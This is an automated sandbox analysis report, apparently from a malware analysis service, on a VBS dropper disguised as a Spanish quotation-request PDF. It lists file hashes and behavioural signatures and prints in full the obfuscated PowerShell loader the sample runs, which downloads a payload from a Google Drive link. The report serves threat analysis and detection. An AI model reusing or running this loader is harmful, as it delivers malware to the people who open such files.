Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
12-11-2024 00:03
Static task
static1
Behavioral task
behavioral1
Sample
Solicitud de cotización 11-11-2024·pdf.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Solicitud de cotización 11-11-2024·pdf.vbs
Resource
win10v2004-20241007-en
General
-
Target
Solicitud de cotización 11-11-2024·pdf.vbs
-
Size
85KB
-
MD5
e56ac816d58f9404f4dcdf20eaefc4e3
-
SHA1
9e326579cf5f7fab3a13c7151263699247ec6c30
-
SHA256
906ce7810e3b4d1729d3a5c3044af98b5447c0137c742476fa769df801fc843e
-
SHA512
4d0b34a417df2d245a5c633ce5feb426780a11104773eca9b9ec1766a14ddd6d35f1fd96b26eb32e973d5688166376c041c63b659a8ee253348466acbfb7a936
-
SSDEEP
1536:670tE9G0kixGd9papuoNHMqJ5uXsjJqPkKk/Qf/YugT1VBXaAj2abf:6Qa9GhAU9sh5u8sPQ/Qf/YuYVBzbf
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 1964 WScript.exe -
pid Process 2568 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2568 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1964 wrote to memory of 2568 1964 WScript.exe 29 PID 1964 wrote to memory of 2568 1964 WScript.exe 29 PID 1964 wrote to memory of 2568 1964 WScript.exe 29
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de cotización 11-11-2024·pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Milieubeskyttelseshensynene Instrumentalise Marmorqmr Noncatechistic Indgraveredes Bevisfrelsen Scotopias #><#Synkretiserede Teatrene angrebsvinklernes Emmenia Tilpasningsklausulen #>$Japonicize='Uligevgt';function Ejicient($Anjilas){If ($host.DebuggerEnabled) {$Phonocardiogramme++;$kermesic=$Anjilas.'Length' - $Phonocardiogramme} for ( $bruger=4;$bruger -lt $kermesic;$bruger+=5){$Protopodite=$bruger;$Beveling+=$Anjilas[$bruger]}$Beveling}function Canework($Preconsideration){ .($Bogreolerne231) ($Preconsideration)}$Prepronounce=Ejicient 'S,mfN broeEnteTBesv. .ntW lamEUndeB RneCKredL p oiIsene UnpnBunkT Rim ';$Rhymesters=Ejicient 'UncoM SgeoNatuzDatoiDownlSpell AffaDip /abso ';$Systemstart=Ejicient 'FlitTStaml,ikisVigi1Isot2 ra ';$Hypotype='indu[NithnSupeE.ndeTPryd.Stags.nruETaw.RBjrnvAhlmiVandcDrame K mP Z moSponiSaddNComptMagemM moAPre N IsoaPr,rG tomECutwrOver]kult:.anh:op usDagvE Fu CMoleuKennRKythiSnowtForkY,yngPBostR O aoOpdrTadvioRosacKaleO U tlUdlb=Stru$ upSAssaY.jemSJakoTHaaneL.erMdimeSDi lTUnenASegnRTablTFl,r ';$Rhymesters+=Ejicient 'Baan5Doll. Chr0Spge Luks(Er,vWCompiPho nSubpdSmatoNimkwbru sMora terNForsTMist ekt1Dias0Limn. Nul0Bort;Hjer BiotWrefliPe.onFinn6Pres4Sauc;K pr BepxAfpi6 ank4Auri;Pand EnlirTjenvmend: Ken1Rekl3Hypo1Koin.Bi k0 s u)S.er WagGEnkeeF gecargekbadeoLu,m/Data2Fors0Genn1 Ca,0Smel0 Yal1maa 0 Tan1k ss craF Cy iStiprBr,geSpilfFri,o mu x.lio/sp.i1Seks3 C.t1Scil.Femk0edde ';$brugermpedient0=Ejicient 'Dan uDrifsShelE,sexrPeac-SmedaHjkoGRevoe,yreNBla.TEnte ';$Differs=Ejicient ' UhrhGri,t FrotSurdpVejls ekn:Paed/Decl/StandUnfirAlieiAb fv atteProt. FargMc ioAn ioLaang lielLimmeAfbe.SyskcCelloEp lm Smi/fortuS gecr pa? Skie oanxS edp alaoethyrFlletTviv=Shadd,isro,hriwAnkenVan lWhasoe,ugaFurrdglad&Ge siP acdempo=Spar1CemeWSeceFParoODermQEgenZWienEAff S SkrtindvRA fl1AntamUgl,lUn.n1PostSsto MFliclFly - Virb idsX s r6FaucI UnjFObjeFLon K Hom4SoliUS.omuBladMOveruEvne1FormPt gnhClos ';$Pediatricians=Ejicient ' Buk>Bl,s ';$Bogreolerne231=Ejicient ' .esIB,reeS.ilXUnd ';$Albins='Turreted';$Phobiac='\Birkepollen.Eje';Canework (Ejicient 'Ch m$Unqug.ersLPostO uckbChe aSkytl Su.:To nsTophoGiganKentgn,npESemiRLito1T.pw2Be r8Snvl=Stil$Binrearc,NNonpvsprn: ,nsaKat,PMis P UfrDAlbua VanTIntra ngr+tr,g$Ud ep amohPegmoSha B UnfIdia a PadcGe n ');Canework (Ejicient 'isle$PathGReh.LPol OSubsbEq iASotaLRute:Aan FQueyE lcrToucIShieestyrh Pe UU ioSUnpieCountSkafSGrue= Bry$ VisdGr iiworcFFlygFHarmEStagr,russ In . atuSVensp PlalBoomi,rigtSkos(albu$SerupTillEDyesd nvei ,atAJanntSt erLysfiTeoscterriPrieAPromNsi,msO ts)Ic r ');Canework (Ejicient $Hypotype);$Differs=$Feriehusets[0];$Vorterod=(Ejicient 'Ca,y$Pr eG keLF,rhoDredBT ksaPotaLBrs :SympZPibeyTradgSt,eoVibrmBailA BiltHyttI,vercLyssO efoSHlerp T eh WhiES.ejN eksoUngeinapadembl=HeliNeftee irkwAb.o- .ovOTextB smojFribeCommc lagTHi t in iS UroYFugesBalst KonEKnalmT ut.Su t$PossPEvolR v.sEPresp ScorThr o TilN S soPyorU CannRut cK,biETran ');Canework ($Vorterod);Canework (Ejicient 'Sm,u$MagtZBesky,ollgVareoVegnmSwitaNu ltAutoi Br c.ondoFrodsa rap jesh SpoePi fnAtr oBeboiG,egdP eo.DelbHScopeDiaraBilad C.ieDehorArchsWool[k.nv$ D,sbBumlrSow uFol g nnieAc,nrCoremSammp SkaeSe idEutri staeM ksn montBefo0Pian]Urov=Li.r$RuneRm lehLin,yOliomTranesk tsUopstScabeAllir Ko,sStip ');$Antndelsen35=Ejicient 'Util$t lsZJenty .hagmakro ,atm plaaR fitYasmiM ricAbi,oEu,esCar pE.dehLaveeKompn hroSpndiMetrd oye.FrikDOveroF,rswProsnCis lGodso ManaV lgdForsFMeati Un lTjene G e(Over$BhalDRepaiOpmufS cif .rbeSalirPyrosNect, M n$LastRLeopiQuows En iKla kConnoka,df horr autiProke Sl sHenst M r)Sta ';$Risikofriest=$Songer128;Canework (Ejicient '.eto$Guttg Fe lT chOUdmubIsopaUdelL ra:slidmti gOSto R,jelpTempHPropIEradn F eELand=Alve(FdertTox e EffSnotatPost- RoopUnmoAFemtT einH urf Sca,$ RepROlieiSlvlsCautIDesskUndeOH lmfTimerViseiProgEL.ggsFlirT Kil)Spis ');while (!$Morphine) {Canework (Ejicient 'Husf$ OvegPlanlVandoB babHe raPinnlChuk:DisiO Judv Unse EirrT ilbUnpauSklmrOutbtEdelhAkaneSulfn Sma= lli$ nvtHararParauFr.keBeto ') ;Canework $Antndelsen35;Canework (Ejicient 'Wa sSDisstGeolA TudRApostSter- MalsunpeLUmi.EFrikEAngeP Pin Ope4Olva ');Canework (Ejicient 'R,mn$DrosgOc alMayaogas B Bn.a Anal Sp,:,eviMCircoAnd RAktipSk,bh,latiUdlgnOps.e Kol=Trom( mo T TalEBonbSUnditSkld-KilopDet AK rnTDiviH Pin B,ck$TotaRir eiNonlS DraI subKFelloPallfFyldrsqueiSnureBronS antFore)Peri ') ;Canework (Ejicient 'saks$Sy bGVinkL,ascoFrembUnalA StilSequ:NedfbJohaOScalu.oteRI teDHenfOPapbN Hi =Phil$EpisGT vel TorOCarwB E,caReg L efl: Gger M.saBo.dgK lka ombMYukouEvenfRvenfSpumiStatn rod+Afgi+ A.b% C a$SherfUdsmEDeprRBerlIMal.EPr fh ForULu.tSSkoseAfgaT ressKomm.HedacSp.roUnasUCowpN upTCent ') ;$Differs=$Feriehusets[$bourdon]}$Bevgeligst=284907;$Antecommunion=30136;Canework (Ejicient '.tyr$AlligkoglLSp.iOUm.lBoutcAPermljust:Slimm ca IKombSVolcjPr vU,remd TunGCultEMach Skri=Dith ListgOrloETot tSi.k-Tai,CBewroEnkeNBea,t TryeOutsNDe,uT Lig Soc $plicrTraniLaurSLimpiLesiKGe.uO Ba FSladRStyriAfdee,ollS ematarab ');Canework (Ejicient ' Ret$Su.dgBromlKlipoUlvibAnnoaHy rlBe g:MarvUTjurn,arstKorrhUrenrSpiliDi kfGldstG aaiRe rn .nte VegsDdsmsHous Fald=Alta ruma[ToppSSpeeyDruksOpdat N neUdlymMidn.BombCKlino FesnStipvD,steUndersorttM ta] os:W.ol:AggrF LgerKrukoAirlm TagBAffaaRegus Ma e .ar6G,nn4ProvS ph tS.lvrSkibi Deanmed gUnsh(Marg$CotwMDgneiSortsBl.njPrimu ormdDommgChereSter),abr ');Canework (Ejicient 'Sn,p$KirggGrnslbesyOOpdrbSurramandLBev : S,eFTok I atenAnthS AcekUnprEUns Bys =Lipo f.rs[ tyrs C iyLegas nogtAkkoEPopsMSelv.FacsT,avne lejx r fTWarr.R aeECarmnPejlC KjvOSamldNonsiOvernUphiGProp]osca:Oev : uarABygnS ileCP raIGeneIMusk.LynaGSlvkEbotaTOx,ds ondtCharRAnt,IRediN .llgocul(B,on$UnwiUN stNUnh,TLivshAnm.R DdsIDan.fTudsTDataiPlanNTrisEMa.uS AlmsF.de) Mas ');Canework (Ejicient 'Appl$UdenG MelLEnerOSt.nBKlu aMustLHjem:I dsfMongACzecIOmgiRGrunYPierhThyro olaOAfstDtils=Frus$UtaaFDispIV.nrnIsvrS StiK reqEV ri.U,orsDeloU Ba.bBaghsSa mtIncoRTea,I ldNPul gEmer(Ecti$NonfbLaunESkovvDe egU.iseEk hL,delISelvgTveks,ophtSubc, Eli$Da,aaUnchnEmi tD,seETalkCDysmoP lamcurrMCoa,uEvisnBrkvi FinoLegeNSere) Bom ');Canework $Fairyhood;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b